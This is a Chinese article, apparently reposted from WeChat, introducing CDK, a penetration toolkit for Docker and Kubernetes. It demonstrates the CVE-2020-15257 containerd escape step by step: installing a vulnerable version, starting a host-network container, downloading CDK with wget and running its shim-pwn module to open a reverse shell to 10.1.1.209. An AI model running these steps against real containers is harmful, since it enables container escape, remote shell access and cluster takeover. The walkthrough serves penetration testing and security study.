本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
有在关注容器逃逸漏洞,最近在github上发现了一款零依赖Docker/K8s渗透工具包,集成了多个漏洞PoC/EXP,可轻松逃脱容器并接管K8s集群。
CDK- 零依赖Docker/K8s渗透工具包
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
github项目地址:
下面以最近发布的容器逃逸漏洞 CVE-2020-15257作为演示漏洞利用过程。
漏洞简述:
当在docker使用–net=host参数启动,与宿主机共享net namespace时,容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升。
漏洞利用:
(1)安装有漏洞的containerd版本。
影响版本containerd< 1.3.9&&containerd < 1.4.3
#列出仓库中可用的版本,安装特定版本的 Docker Engine-Community``apt-cache madison docker-ce``sudo apt-get install docker-ce=<VERSION_STRING> docker-ce-cli=<VERSION_STRING> containerd.io=<VERSION_STRING>
(2)通过--net=host
作为启动参数来运行一个容器。
sudo docker run -it --net=host ubuntu:18.04 /bin/bash
在容器内执行 cat /proc/net/unix|grep -a "containerd-shim"
可看到抽象命名空间Unix域套接字。
(3)通过CDK执行exp,成功反弹shell,实现容器逃逸。
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz``tar -zxvf cdk_v0.1.6_release.tar.gz
./cdk_linux_amd64 run shim-pwn 10.1.1.209 12345
![图片](https://mmbiz.qpic.cn/mmbiz_png/ia0LvkyJzB4nrDf4CnLaaKjsjm6TDibALFBXYPWZL6Kdj7dn6Rfy7xRGGYQUZs8uTGfC4XR045rBa65TSRQopXWQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)
参考链接: